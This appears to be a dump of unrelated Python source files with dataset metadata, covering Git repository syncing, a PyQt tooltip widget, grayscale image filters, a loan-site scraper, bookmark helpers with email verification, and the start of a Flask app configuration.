def _herd_ref(self, repo, depth, rebase):\n \"\"\"Clone project or update latest from upstream\"\"\"\n\n if self.fork is None:\n repo.herd(self._url, depth=depth, rebase=rebase)\n return\n\n self._print(self.fork.status())\n repo.configure_remotes(self._remote, self._url, self.fork.remote_name, self.fork.url)\n\n self._print(fmt.fork_string(self.name))\n repo.herd(self._url, rebase=rebase)\n\n self._print(fmt.fork_string(self.fork.name))\n repo.herd_remote(self.fork.url, self.fork.remote_name)\n\n def _herd_tag(self, repo, tag, depth, rebase):\n \"\"\"Clone project or update latest from upstream\"\"\"\n\n if self.fork is None:\n repo.herd_tag(self._url, tag, depth=depth, rebase=rebase)\n return\n\n self._print(self.fork.status())\n repo.configure_remotes(self._remote, self._url, self.fork.remote_name, self.fork.url)\n\n self._print(fmt.fork_string(self.name))\n repo.herd_tag(self._url, tag, rebase=rebase)\n\n self._print(fmt.fork_string(self.fork.name))\n repo.herd_remote(self.fork.url, self.fork.remote_name)\n\n def _print(self, val):\n \"\"\"Print output if self._print_output is True\"\"\"\n\n if self._print_output:\n print(val)\n\n def _prune_local(self, branch, force):\n \"\"\"Prune local branch\"\"\"\n\n repo = ProjectRepo(self.full_path(), self._remote, self._ref)\n if repo.existing_local_branch(branch):\n repo.prune_branch_local(branch, force)\n\n def _prune_remote(self, branch):\n \"\"\"Prune remote branch\"\"\"\n\n remote = self._remote if self.fork is None else self.fork.remote_name\n repo = ProjectRepo(self.full_path(), remote, self._ref)\n if repo.existing_remote_branch(branch, remote):\n repo.prune_branch_remote(branch, remote)\n\n @staticmethod\n def _repo(path, remote, ref, recursive, **kwargs):\n \"\"\"Clone project or update latest from upstream\"\"\"\n\n if recursive:\n return ProjectRepoRecursive(path, remote, ref, **kwargs)\n return ProjectRepo(path, remote, ref, **kwargs)\n\n def _reset(self, repo, timestamp=None):\n \"\"\"Clone project or update latest from upstream\"\"\"\n\n if self.fork is None:\n if timestamp:\n repo.reset_timestamp(timestamp, self._timestamp_author, self._ref)\n return\n\n repo.reset(depth=self._depth)\n return\n\n self._print(self.fork.status())\n repo.configure_remotes(self._remote, self._url, self.fork.remote_name, self.fork.url)\n\n self._print(fmt.fork_string(self.name))\n if timestamp:\n repo.reset_timestamp(timestamp, self._timestamp_author, self._ref)\n return\n\n repo.reset()\n\n def _sync(self, repo, rebase):\n \"\"\"Sync fork project with upstream\"\"\"\n\n self._print(self.fork.status())\n repo.configure_remotes(self._remote, self._url, self.fork.remote_name, self.fork.url)\n\n self._print(fmt.fork_string(self.name))\n repo.herd(self._url, self._remote, rebase=rebase)\n\n self._print(fmt.fork_string(self.fork.name))\n repo.herd_remote(self.fork.url, self.fork.remote_name)\n\n self._print(self.fork.status())\n repo.sync(self.fork.remote_name, rebase=rebase)\n","sub_path":"clowder/clowder/model/project.py","file_name":"project.py","file_ext":"py","file_size_in_byte":15025,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"540666426","text":"from PyQt4 import QtGui\nfrom PyQt4 import QtCore\nfrom time import sleep\nfrom PyQt4.QtGui import QDesktopWidget\nfrom os.path import join\nfrom Resources import Resources\nfrom decorators.threaded import threaded\n\nclass TooltipManage():\n Tooltips = {}\n ID = 1\n\n @staticmethod\n def create(title='Tooltip', command='', res='This is a QWidget'):\n currentID = TooltipManage.ID\n TooltipManage.inc()\n\n TooltipManage.Tooltips[currentID] = Tooltip(title, command, res, currentID)\n TooltipManage.Tooltips[currentID].show()\n #tooltip = TooltipManage.Tooltips[TooltipManage.ID]\n #return tooltip\n\n @staticmethod\n def inc():\n TooltipManage.ID = TooltipManage.ID + 1\n\n @staticmethod\n def dec():\n TooltipManage.ID = TooltipManage.ID - 1\n\n @staticmethod\n def getCountToolTips():\n return len(TooltipManage.Tooltips)\n\n @staticmethod\n def delToolTip(id):\n del TooltipManage.Tooltips[id]\n\n\n\nclass Tooltip(QtGui.QWidget):\n def __init__(self, title='Tooltip', command='', res='This is a QWidget', id=None, parent=None):\n QtGui.QWidget.__init__(self, parent)\n self.id = id\n\n #self.t = ToolTipAnimation()\n #self.t.start()\n\n width = 300\n height = 200\n\n resolution = QDesktopWidget().screenGeometry()\n self.setGeometry(resolution.width() - width, resolution.height() - height, width, height)\n\n pos_x = resolution.width() - width * (TooltipManage.getCountToolTips() / 3 + 1)\n pos_y = resolution.height() - height * (TooltipManage.getCountToolTips() % 3 + 1)\n self.move(pos_x, pos_y)\n\n self.setWindowTitle(title)\n self.setWindowFlags(self.windowFlags() | QtCore.Qt.WindowStaysOnTopHint)\n self.setWindowFlags(QtCore.Qt.CustomizeWindowHint)\n self.setToolTip('This is a QWidget')\n self.setObjectName(\"toolTipWindow\")\n self.setStyleSheet(Resources.read(join('resources', 'styles', 'tooltip.pss')))\n\n self.CComamnd = QtGui.QLabel(command+':')\n self.CComamnd.setFixedHeight(50)\n self.CComamnd.setAlignment(QtCore.Qt.AlignTop | QtCore.Qt.AlignLeft)\n self.CComamnd.setObjectName('command')\n\n self.CLineView = QtGui.QLabel(res)\n self.CLineView.setAlignment(QtCore.Qt.AlignTop | QtCore.Qt.AlignLeft)\n self.CLineView.setContentsMargins(15, 0, 0, 0)\n self.CLineView.setObjectName('commandResult')\n\n layout = QtGui.QVBoxLayout()\n layout.addWidget(self.CComamnd)\n layout.addWidget(self.CLineView)\n self.setLayout(layout)\n QtGui.QToolTip.setFont(QtGui.QFont('OldEnglish', 10))\n\n def show(self, title='Tooltip', command='', res='This is a QWidget'):\n QtCore.QTimer.singleShot(7000, lambda: self.close())\n #self.CComamnd.setText(command+':')\n #self.CLineView.setText(res)\n #TooltipManage.moveToolTips()\n QtGui.QWidget.show(self)\n\n def close(self):\n if self.id: TooltipManage.delToolTip(self.id)\n #if self.ID: TooltipManage.delToolTip(self.ID)\n #TooltipManage.dec()\n #self.anim = ToolTipAnimation()\n #self.anim.start()\n QtGui.QWidget.close(self)\n","sub_path":"milana/others/old/Tooltip.py","file_name":"Tooltip.py","file_ext":"py","file_size_in_byte":3198,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"173635612","text":"#!/usr/bin/env python3\n\nimport sys\nimport math\nimport base64\nimport tkinter\n\nfrom io import BytesIO\nfrom PIL import Image as PILImage\n\n## NO ADDITIONAL IMPORTS ALLOWED!\n\nclass Image:\n def __init__(self, width, height, pixels):\n self.width = width\n self.height = height\n self.pixels = pixels\n\n def get_pixel(self, x, y):\n return self.pixels[y*self.width+x] #the index is changed because pixel is a list\n\n def set_pixel(self, x, y, c):\n self.pixels[y*self.width+x] = c #same change of the index\n\n def apply_per_pixel(self, func):\n result = Image.new(self.width, self.height) # change the order of height and width\n for x in range(result.width):\n for y in range(result.height):\n color = self.get_pixel(x, y)\n newcolor = func(color)\n result.set_pixel(x, y, newcolor) # change the order of x and y\n return result\n\n def inverted(self):\n return self.apply_per_pixel(lambda c: 255-c) # change 256 to 255\n\n## TestInvert on bluegill.png\n## i = Image.load('test_images/bluegill.png')\n## j = i.inverted()\n## j.save('test_images/bluegill_inv.png')\n\n\n## prepare for correlation\n\n def get_new_pixel(self, x, y):\n if x<0:\n x = 0\n elif x >= self.width-1:\n x = self.width-1\n if y<0:\n y = 0\n elif y >= self.height-1:\n y = self.height-1\n return self.pixels[y*self.width+x]\n\n\n## a n*n kernel (k)n*n is represented by a list with the length of n*n, as the form below:\n## [k00, k01, ... , k0(n-1), k10, k11, ... , k1(n-1); ... ; k(n-1)1, k(n-1)1, ... , k(n-1)(n-1)]\n\n\n def final(color):\n color = int(round(color))\n if color<0:\n color = 0\n elif color>255:\n color = 255\n return color\n\n\n def correlation(self, kernel):\n n = int(round(math.sqrt(len(kernel))))\n result = Image.new(self.width, self.height)\n for x in range(result.width):\n for y in range(result.height):\n newcolor = 0\n for i in range(n):\n for j in range(n):\n newcolor = newcolor + self.get_new_pixel(x-int(round((n-1)/2))+i, y-int(round((n-1)/2))+j)*kernel[j*n+i]\n newcolor = Image.final(newcolor)\n result.set_pixel(x, y, newcolor)\n return result\n\n## create the correlation version of pigbird.png\n \n## i = Image.load('test_images/pigbird.png')\n## kernel = [0 for i in range(9*2)]\n## kernel.append(1)\n## for a in range(9*7-1):\n##\tkernel.append(0)\n## j = i.correlation(kernel)\n## j.save('test_images/pigbird_cor.png')\n\n def blurred(self, n):\n result = Image.new(self.width, self.height)\n for x in range(result.width):\n for y in range(result.height):\n newcolor = 0\n for i in range(n):\n for j in range(n):\n # algorithm used \n newcolor = newcolor + self.get_new_pixel(x-int(round((n-1)/2))+i, y-int(round((n-1)/2))+j)/n/n\n newcolor = Image.final(newcolor)\n result.set_pixel(x, y, newcolor)\n return result\n\n\n## blur filter on the cat.png with a box blur kernel of size 5.\n## i = Image.load('test_images/cat.png')\n## j = i.blurred(5)\n## j.save('test_images/cat_blur.png')\n\n def sharpened(self, n):\n blurred = Image.new(self.width, self.height)\n for x in range(blurred.width):\n for y in range(blurred.height):\n newcolor = 0\n for i in range(n):\n for j in range(n):\n newcolor = newcolor + self.get_new_pixel(x-int(round((n-1)/2))+i, y-int(round((n-1)/2))+j)/n/n\n blurred.set_pixel(x, y, newcolor)\n result = Image.new(self.width, self.height)\n for x in range(result.width):\n for y in range(result.height):\n newcolor = int(round(2*self.get_pixel(x, y) - blurred.get_pixel(x, y)))\n newcolor = Image.final(newcolor)\n result.set_pixel(x, y, newcolor)\n return result\n\n## sharpening the python.png\n## i = Image.load('test_images/python.png')\n## j = i.sharpened(11)\n## j.show()\n## j.save('test_images/python_sharp.png')\n\n def edges(self):\n kx = [-1, 0, 1, -2, 0, 2, -1, 0, 1]\n ky = [-1, -2, -1, 0, 0, 0, 1, 2, 1]\n n1 = int(round(math.sqrt(len(kx))))\n n2 = int(round(math.sqrt(len(ky))))\n result = Image.new(self.width, self.height)\n for x in range(result.width):\n for y in range(result.height):\n ox = 0\n oy = 0\n # store the values of ox and oy \n for i in range(n1):\n for j in range(n1):\n ox = ox + self.get_new_pixel(x-int(round((n1-1)/2))+i, y-int(round((n1-1)/2))+j)*kx[j*n1+i]\n for i in range(n2):\n for j in range(n2):\n oy = oy + self.get_new_pixel(x-int(round((n2-1)/2))+i, y-int(round((n2-1)/2))+j)*ky[j*n2+i]\n newcolor = int(round(math.sqrt(ox**2+oy**2)))\n newcolor = Image.final(newcolor)\n result.set_pixel(x, y, newcolor)\n return result\n\n \n\n## edge detection on the construct.png\n## i = Image.load('test_images/construct.png')\n## j = i.edges()\n## j.show()\n## j.save('test_images/construct_ede.png')\n\n\n## det_min function is used to find the column with lowest energy;\n def det_min(self):\n edges = self.edges()\n min = 0\n energy = 0\n for y in range(edges.height):\n # get the energy of the first column\n energy = energy + edges.get_pixel(0, y)\n for x in range(1, edges.width):\n # compare the energies, and find the minimun and record which column it is \n ener = 0\n for y in range(edges.height):\n ener = ener + edges.get_pixel(x, y)\n if energy > ener:\n energy = ener\n min = x\n return min\n\n## rmcol function is used to remove the column with lowest energy in the image.\n def rmcol(self):\n result = Image.new(self.width-1, self.height)\n i = self.det_min()\n for y in range(result.height):\n for x in range(i):\n result.set_pixel(x, y, self.get_pixel(x, y))\n for x in range(i, result.width):\n result.set_pixel(x, y, self.get_pixel(x+1, y))\n return result\n\n\n## retargeting function is used to implement the retargeting algorithm. There are two\n## arguments of the function. One is the image which is need to be changed, the second\n## one is the number of columns which are needed to be remove.\n def retargeting(self, n):\n for i in range(n):\n self = self.rmcol()\n result = Image.new(self.width, self.height)\n for x in range(result.width):\n for y in range(result.height):\n result.set_pixel(x, y, self.get_pixel(x, y))\n return result\n\n\n## retargeting on the pattern.png\n## i = Image.load('test_images/pattern.png')\n## j = i.retargeting(2)\n## j.save('test_images/pattern_ret.png')\n\n## test on other pics\n## i1 = Image.load('test_images/tree.png')\n## j1 = i1.retargeting(75)\n## j1.save('test_images/tree_ret75.png')\n## i2 = Image.load('test_images/twocats.png')\n## j2 = i2.retargeting(100)\n## j2.save('test_images/twocats_ret100.png')\n## i3 = Image.load('test_images/pigbird.png')\n## j3 = i3.retargeting(100)\n## j3.save('test_images/pigbird_ret100.png') \n \n \n \n\n # Below this point are utilities for loading, saving, and displaying\n # images, as well as for testing.\n\n def __eq__(self, other):\n return all(getattr(self, i) == getattr(other, i)\n for i in ('height', 'width', 'pixels'))\n\n @classmethod\n def load(cls, fname):\n \"\"\"\n Loads an image from the given file and returns an instance of this\n class representing that image. This also performs conversion to\n grayscale.\n\n Invoked as, for example:\n i = Image.load('test_images/cat.png')\n \"\"\"\n with open(fname, 'rb') as img_handle:\n img = PILImage.open(img_handle)\n img_data = img.getdata()\n if img.mode.startswith('RGB'):\n pixels = [round(.299*p[0] + .587*p[1] + .114*p[2]) for p in img_data]\n elif img.mode == 'LA':\n pixels = [p[0] for p in img_data]\n elif img.mode == 'L':\n pixels = list(img_data)\n else:\n raise ValueError('Unsupported image mode: %r' % img.mode)\n w, h = img.size\n return cls(w, h, pixels)\n\n @classmethod\n def new(cls, width, height):\n \"\"\"\n Creates a new blank image (all 0's) of the given height and width.\n\n Invoked as, for example:\n i = Image.new(640, 480)\n \"\"\"\n return cls(width, height, [0 for i in range(width*height)])\n\n def save(self, fname, mode='PNG'):\n \"\"\"\n Saves the given image to disk or to a file-like object. If fname is\n given as a string, the file type will be inferred from the given name.\n If fname is given as a file-like object, the file type will be\n determined by the 'mode' parameter.\n \"\"\"\n out = PILImage.new(mode='L', size=(self.width, self.height))\n out.putdata(self.pixels)\n if isinstance(fname, str):\n out.save(fname)\n else:\n out.save(fname, mode)\n out.close()\n\n def gif_data(self):\n \"\"\"\n Returns a base 64 encoded string containing the given image as a GIF\n image.\n\n Utility function to make show_image a little cleaner.\n \"\"\"\n buff = BytesIO()\n self.save(buff, mode='GIF')\n return base64.b64encode(buff.getvalue())\n\n def show(self):\n \"\"\"\n Shows the given image in a new Tk window.\n \"\"\"\n global WINDOWS_OPENED\n if tk_root is None:\n # if tk hasn't been properly initialized, don't try to do anything.\n return\n WINDOWS_OPENED = True\n toplevel = tkinter.Toplevel()\n # highlightthickness=0 is a hack to prevent the window's own resizing\n # from triggering another resize event (infinite resize loop). see\n # https://stackoverflow.com/questions/22838255/tkinter-canvas-resizing-automatically\n canvas = tkinter.Canvas(toplevel, height=self.height,\n width=self.width, highlightthickness=0)\n canvas.pack()\n canvas.img = tkinter.PhotoImage(data=self.gif_data())\n canvas.create_image(0, 0, image=canvas.img, anchor=tkinter.NW)\n def on_resize(event):\n # handle resizing the image when the window is resized\n # the procedure is:\n # * convert to a PIL image\n # * resize that image\n # * grab the base64-encoded GIF data from the resized image\n # * put that in a tkinter label\n # * show that image on the canvas\n new_img = PILImage.new(mode='L', size=(self.width, self.height))\n new_img.putdata(self.pixels)\n new_img = new_img.resize((event.width, event.height), PILImage.NEAREST)\n buff = BytesIO()\n new_img.save(buff, 'GIF')\n canvas.img = tkinter.PhotoImage(data=base64.b64encode(buff.getvalue()))\n canvas.configure(height=event.height, width=event.width)\n canvas.create_image(0, 0, image=canvas.img, anchor=tkinter.NW)\n # finally, bind that function so that it is called when the window is\n # resized.\n canvas.bind('', on_resize)\n toplevel.bind('', lambda e: canvas.configure(height=e.height, width=e.width))\n\n\ntry:\n tk_root = tkinter.Tk()\n tk_root.withdraw()\n tcl = tkinter.Tcl()\n def reafter():\n tcl.after(500,reafter)\n tcl.after(500,reafter)\nexcept:\n tk_root = None\nWINDOWS_OPENED = False\n\nif __name__ == '__main__':\n # code in this block will only be run when you explicitly run your script,\n # and not when the tests are being run. this is a good place for\n # generating images, etc.\n pass\n\n # the following code will cause windows from Image.show to be displayed\n # properly, whether we're running interactively or not:\n if WINDOWS_OPENED and not sys.flags.interactive:\n tk_root.mainloop()\n","sub_path":"lab1.py","file_name":"lab1.py","file_ext":"py","file_size_in_byte":12699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"288000444","text":"S = list(input())\nS = S[::-1]\nexist = [[S[0]]]\nwork = []\nnow_idx = 0\nfor i in range(1,len(S)):\n work.extend(S[i])\n if work != exist[now_idx]:\n exist.append(work)\n work = []\n now_idx += 1\nprint(len(exist))","sub_path":"AGC/37/a.py","file_name":"a.py","file_ext":"py","file_size_in_byte":231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"582551463","text":"import json\nimport os\nimport pickle\n\nfrom logbook import Logger\nimport requests\n\nfrom finance.providers.provider import Provider\nfrom finance.utils import extract_numbers, parse_date\n\n\nLOGIN_URL = 'https://8percent.kr/user/login/'\nDATE_FORMAT = '%y.%m.%d'\n\nlog = Logger(__name__)\n\n\nclass _8Percent(Provider):\n session = None\n\n def login(self, username=os.environ.get('_8PERCENT_USERNAME'),\n password=os.environ.get('_8PERCENT_PASSWORD')):\n \"\"\"Returns a cookie string if login is successful.\"\"\"\n self.session = session = requests.session()\n\n session.get(LOGIN_URL)\n csrf_token = session.cookies['csrftoken']\n\n headers = {\n 'Origin': 'https://8percent.kr',\n 'Referer': LOGIN_URL,\n }\n data = {\n 'csrfmiddlewaretoken': csrf_token,\n 'type': 'login',\n 'email': username,\n 'password': password,\n }\n cookies = session.cookies\n cookies = {k: v for k, v in zip(cookies.keys(), cookies.values())}\n\n resp = session.post(LOGIN_URL, headers=headers, data=data,\n cookies=cookies)\n self.store_session(session)\n return resp\n\n def get_cookies(self, url):\n resp = requests.get(url)\n cookies = resp.cookies\n return {k: v for k, v in zip(cookies.keys(), cookies.values())}\n\n def store_session(self, session):\n with open('/tmp/8percent.session', 'wb') as fout:\n pickle.dump(requests.utils.dict_from_cookiejar(session.cookies),\n fout)\n\n def load_session(self):\n with open('/tmp/8percent.session', 'rb') as fin:\n cookies = requests.utils.cookiejar_from_dict(pickle.load(fin))\n self.session = requests.session()\n self.session.cookies = cookies\n return self.session\n\n def store_cookies(self, cookies):\n \"\"\"Stores cookies in a JSON format.\n\n :type cookies: dict\"\"\"\n with open('/tmp/8percent-cookies.json', 'w') as fout:\n fout.write(json.dumps(cookies))\n\n def load_cookies(self):\n \"\"\"Loads cookies stored in a JSON format.\"\"\"\n with open('/tmp/8percent-cookies.json') as fin:\n return json.loads(fin.read())\n\n def fetch_data(self, bond_id):\n if self.session is None:\n self.load_session()\n\n url = 'https://8percent.kr/my/repayment_detail/{}/'.format(bond_id)\n log.info('Fetching bond information from {}', url)\n headers = {\n 'Accept-Encoding': 'text/html',\n 'Accept': 'text/html,application/xhtml+xml,application/xml;'\n 'q=0.9,image/webp,*/*;q=0.8',\n 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) '\n 'AppleWebKit/537.36 (KHTML, like Gecko) '\n 'Chrome/49.0.2623.87 Safari/537.36',\n }\n resp = self.session.get(url, headers=headers)\n return resp\n\n def parse_data(self, raw):\n from bs4 import BeautifulSoup\n soup = BeautifulSoup(raw, 'html.parser')\n\n def extract_div_text(soup, id=None, class_=None):\n if id:\n try:\n return soup.find('div', id=id).text.strip()\n except:\n raise Exception(\n '
could not be found'.format(id))\n elif class_:\n try:\n return soup.find('div', class_=class_).text.strip()\n except:\n raise Exception(\n '
could not be found'.format(class_))\n else:\n return Exception('Either id or class must be provided')\n\n def etni(soup, id, f):\n return f(extract_numbers(extract_div_text(soup, id=id)))\n\n def etnc(soup, class_, f):\n return f(extract_numbers(extract_div_text(soup, class_=class_)))\n\n name = extract_div_text(soup, id='Text_298')\n started_at = parse_date(extract_div_text(soup, id='Text_250'),\n DATE_FORMAT)\n grade = extract_div_text(soup, id='Text_264')\n duration = etni(soup, 'Text_278', int)\n apy = etni(soup, 'Text_218', float) / 100\n amount = etni(soup, 'Text_300', int)\n\n log.info('Parsed: {}, {}, {}, {}, {}, {}', name, started_at, grade,\n duration, apy, amount)\n\n rows = soup.find_all('div', class_='Box_444')\n def gen_records(rows):\n for row in rows:\n date = parse_date(extract_div_text(row, class_='Cell_445'),\n DATE_FORMAT)\n principle = etnc(row, 'Cell_451', int)\n interest = etnc(row, 'Cell_448', int)\n tax = etnc(row, 'Cell_449', int)\n fees = etnc(row, 'Cell_452', int)\n\n # NOTE: Early payments may cause some portion of the fees\n # to be refunded\n refunded_fees = etnc(row, 'Cell_759', int)\n\n returned = etnc(row, 'Cell_453', int)\n\n # Make sure the parsed data is correct\n try:\n assert returned \\\n == principle + interest - (tax + fees - refunded_fees)\n except AssertionError:\n import pdb\n pdb.set_trace()\n pass\n\n yield date, principle, interest, tax, fees - refunded_fees\n\n return {\n 'name': name,\n 'started_at': started_at,\n 'grade': grade,\n 'duration': duration,\n 'annual_percentage_yield': apy,\n 'amount': amount,\n 'originator': '8percent',\n 'records': list(gen_records(rows)),\n }\n","sub_path":"finance/providers/_8percent.py","file_name":"_8percent.py","file_ext":"py","file_size_in_byte":5825,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"245471689","text":"import numpy as np\n\ndef get_arr2(raw,N):\n sum_ = np.array(raw).reshape(N,-1)\n return sum_\n\ndef add_(raw1,N1,raw2,N2):\n ans = []\n tst = []\n ans2 = []\n uuu1 = []\n uuu2 = []\n for i in range(0,N1):\n for j in range(0,N2):\n if raw1[i,1]==raw2[j,1]:\n ans.append([raw1[i,0]+raw2[j,0],raw1[i,1]])\n tst.append(raw1[i,1])\n\n for k in range(0, len(raw1)):\n for m in range(len(tst)):\n if raw1[k,1]== (tst[m] ):\n uuu1.append(k)\n\n raw1 = np.delete(raw1,uuu1,axis=0)\n\n for k in range(0, len(raw2)):\n for m in range(len(tst)):\n if raw2[k,1]== (tst[m] ):\n uuu2.append(k)\n\n raw2 = np.delete(raw2, uuu2, axis=0)\n ans2 = np.concatenate((raw1,raw2,ans),axis=0)\n ans2 = ans2[np.lexsort(-ans2.T[1,None])]\n\n return ans2\n\n\ndef output_converter(seq):\n tag = 0\n for i in range(len(seq)):\n if seq[i,0]!=0:\n print(seq[i,0],end=' ')\n if i == len(seq)-1:\n print(seq[i, 1], end='')\n else:\n print(seq[i, 1], end=' ')\n else:\n tag =1\n if tag!=0:\n print(0,end=' ')\n print(0, end='')\n print()\n return\n\ndef multiple_(raw1,N1,raw2,N2):\n ans = []\n tst = []\n uuu = []\n for i in range(0,N1):\n for j in range(0,N2):\n ans.append([raw1[i,0]*raw2[j,0],raw1[i,1]+raw2[j,1]])\n ans = np.array(ans)\n\n for i in range(len(ans)):\n for j in range(i+1,len(ans)):\n if (ans[i,1]==ans[j,1]):\n tst.append([ans[i,0]+ans[j,0],ans[i,1]])\n tst = np.array(tst)\n for i in range(len(tst)):\n for j in range(len(ans)):\n if tst[i,1]==ans[j,1]:\n uuu.append(j)\n ans = np.delete(ans, uuu, axis=0)\n ans = np.concatenate((tst, ans), axis=0)\n ans = ans[np.lexsort(-ans.T[1, None])]\n return ans\n\n\n\ndef read_seq():\n raw = [int(n) for n in input().split()]\n N = raw[0]\n raw.remove(raw[0])\n return N,raw\n\nif __name__ == '__main__':\n N1, raw1 = read_seq()\n N2, raw2 = read_seq()\n # N1 = 4\n # N2 = 3\n # raw1 = [3, 4, -5, 2, 6, 1, -2, 0]\n # raw2 = [5, 20, -7, 4, 3, 1]\n raw1_arr2 = get_arr2(raw1,N1)\n raw2_arr2 = get_arr2(raw2,N2)\n ans_muti = multiple_(raw1_arr2,N1,raw2_arr2,N2)\n output_converter(ans_muti)\n ans_add = add_(raw1_arr2,N1,raw2_arr2,N2)\n output_converter(ans_add)","sub_path":"小工具/一元多项式.py","file_name":"一元多项式.py","file_ext":"py","file_size_in_byte":2438,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"200128926","text":"import configparser\nimport os\nfrom configparser import ConfigParser\n\n\nclass config(object):\n global property_map\n def properties(self, abspath):\n property_map={}\n #path = os.path.abspath(\"properties\")\n cf = configparser.ConfigParser()\n print(abspath)\n cf.read(abspath)\n for item in cf.sections():\n temp={}\n for option in cf.options(item):\n temp[option] = cf[item][option]\n property_map[item] = temp\n return property_map\n\n\n#print(config().properties())\n","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":555,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"304818151","text":"\n\nfrom xai.brain.wordbase.adjectives._mobile import _MOBILE\n\n#calss header\nclass _MOBILES(_MOBILE, ):\n\tdef __init__(self,): \n\t\t_MOBILE.__init__(self)\n\t\tself.name = \"MOBILES\"\n\t\tself.specie = 'adjectives'\n\t\tself.basic = \"mobile\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/adjectives/_mobiles.py","file_name":"_mobiles.py","file_ext":"py","file_size_in_byte":248,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"306357522","text":"from app.models import Category, Bookmark, ValidationQueue\nfrom smtplib import SMTP_SSL as SMTP\nfrom email.mime.text import MIMEText\n\nimport random\nimport string\n\nfrom_address ='project.bookmark.manager@gmail.com'\npassword = ''\n# IMPORTANT:\n# SET PASSWORD TO AN EMPTY STRING BEFORE COMMITTING CHANGES.\n\ndef get_bookmarks(request):\n\tcategories = Category.objects.filter(user=request.user)\n\t# 6 columns only\n\traw_col_0 = categories.filter(column_number=0).order_by('row_number')\n\tcol_0 = []\n\tfor category in raw_col_0:\n\t\tcol_0.append([category, Bookmark.objects.filter(category=category).order_by('row_number')])\n\n\traw_col_1 = categories.filter(column_number=1).order_by('row_number')\n\tcol_1 = []\n\tfor category in raw_col_1:\n\t\tcol_1.append([category, Bookmark.objects.filter(category=category).order_by('row_number')])\n\t\n\traw_col_2 = categories.filter(column_number=2).order_by('row_number')\n\tcol_2 = []\n\tfor category in raw_col_2:\n\t\tcol_2.append([category, Bookmark.objects.filter(category=category).order_by('row_number')])\n\t\n\traw_col_3 = categories.filter(column_number=3).order_by('row_number')\n\tcol_3 = []\n\tfor category in raw_col_3:\n\t\tcol_3.append([category, Bookmark.objects.filter(category=category).order_by('row_number')])\n\t\n\traw_col_4 = categories.filter(column_number=4).order_by('row_number')\n\tcol_4 = []\n\tfor category in raw_col_4:\n\t\tcol_4.append([category, Bookmark.objects.filter(category=category).order_by('row_number')])\n\t\n\traw_col_5 = categories.filter(column_number=5).order_by('row_number')\n\tcol_5 = []\n\tfor category in raw_col_5:\n\t\tcol_5.append([category, Bookmark.objects.filter(category=category).order_by('row_number')])\n\n\treturn [col_0, col_1, col_2, col_3, col_4, col_5]\n\ndef insert_object(items, item, position=float('inf')):\n\tmax_number = get_max_row_number(items)\n\tif item.row_number == max_number:\n\t\treturn None\n\tif position < 0:\n\t\tposition = float('inf')\n\tposition = min(position, max_number+1)\n\tfor idx in items:\n\t\tif idx.row_number >= position:\n\t\t\tidx.row_number += 1\n\t\t\tidx.save()\n\titem.row_number = position\n\titem.save()\n\ndef fill_gap(items, position):\n\tfor idx in items:\n\t\tif idx.row_number > position:\n\t\t\tidx.row_number -= 1\n\t\t\tidx.save()\n\ndef get_max_row_number(items):\n\tmax_num = -1\n\tfor item in items:\n\t\tif item.row_number > max_num:\n\t\t\tmax_num = item.row_number\n\treturn max_num\n\ndef get_random_color():\n\thexdigits = list(string.hexdigits * 6)\n\trandom.shuffle(hexdigits)\n\treturn ''.join(hexdigits[:6])\n\ndef create_validator(email):\n\tkey = list(string.ascii_uppercase + string.ascii_lowercase + string.digits)\n\trandom.shuffle(key)\n\tkey = ''.join(key[:25])\n\titem = ValidationQueue(key=key, email=email)\n\titem.save()\n\n\ttext = '''\n\tHello,\n\t\tPlease go to http://127.0.0.1:8000/b/confirm_account/''' + key + '''/ to validate your account.\n\n\t\tValidation will take up to a minute. Please do not interrupt the process by closing the tab.\n\t'''\n\tmessage = MIMEText(text, 'plain')\n\tmessage['Subject'] = 'Verify Account'\n\tto_address = email\n\ttry:\n\t\tconn = SMTP('smtp.gmail.com')\n\t\tconn.set_debuglevel(True)\n\t\tconn.login(from_address, password)\n\t\ttry:\n\t\t\tconn.sendmail(from_address, to_address, message.as_string())\n\t\tfinally:\n\t\t\tconn.close()\n\texcept Exception:\n\t\tprint(\"Failed to send email\")\n","sub_path":"bm/app/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":3220,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"120832715","text":"# coding=utf8\n\nfrom flask import Flask, jsonify, Response, redirect, url_for, request, session, abort, flash, render_template\nfrom flask_mysqldb import MySQL\nfrom flask_login import LoginManager, UserMixin, login_required, login_user, logout_user, current_user\nfrom werkzeug.utils import secure_filename\nimport zipfile\nimport biplist\nimport glob,re\nimport shutil\nfrom random import choice\nfrom string import ascii_uppercase, ascii_lowercase\nimport os,ntpath\nimport sys\nimport logging\nimport time\nimport json\nimport datetime\nfrom collections import OrderedDict\n# import axmlparserpy.axmlprinter as axmlprinter\n# import axmlparserpy.apk as apk\n# import xml.dom.minidom\nfrom subprocess import check_output, Popen, PIPE, STDOUT\n# from flask_table import Table, Col\n\n\n#reload(sys)\n#sys.setdefaultencoding('utf-8')\n\nlogging.basicConfig(filename='main.log', level=logging.INFO)\n\napp = Flask(__name__)\napp.config['DEBUG'] = True\napp.config['SECRET_KEY'] = 'djidaiwnejixs'\napp.config['TEMPLATES_AUTO_RELOAD '] = True\napp.config['UPLOAD_FOLDER'] = '/home/dav/shells/app_publish/app_upload' # 文件上传路径\napp.config['APP_DOWNLOAD_URL'] = 'https://a.popv.top/download/' # 下载APP地址\napp.config['APP_DOWNLOAD_PAGE_URL_iOS'] = 'https://a.popv.top/dl/ios/' # iOS下载页面地址\napp.config['APP_DOWNLOAD_PAGE_URL_Android'] = 